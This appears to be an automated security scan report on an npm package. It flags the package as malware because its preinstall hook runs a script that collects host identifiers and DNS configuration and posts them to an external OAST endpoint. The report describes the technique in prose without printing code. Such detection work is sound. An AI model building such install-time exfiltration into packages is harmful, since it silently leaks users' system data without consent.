AI Security Review
scanned 3mo ago · by lpm-firewall-aiThis is concrete, unconsented install-time system-information exfiltration, explicitly framed as a dependency-confusion proof of concept. The source directly establishes the behavior.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
npm preinstall
Impact
Leaks local system identity, home-directory path, and configured DNS servers.
Mechanism
install-time host fingerprinting and HTTPS exfiltration
Attack narrative
On npm installation, the preinstall hook runs index.js without user action. The script gathers local host identifiers and DNS configuration, then POSTs them to an external OAST endpoint. The nested archive reproduces the same package content.

Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json runs `node index.js` in preinstall.
- index.js collects hostname, platform, architecture, home directory, and DNS servers.
- index.js POSTs the collected host data to an external OAST domain.
- The bundled nested archive contains the same lifecycle manifest and exfiltration source.
Evidence against
- No additional payload execution, shell commands, or file writes were found in inspected source.
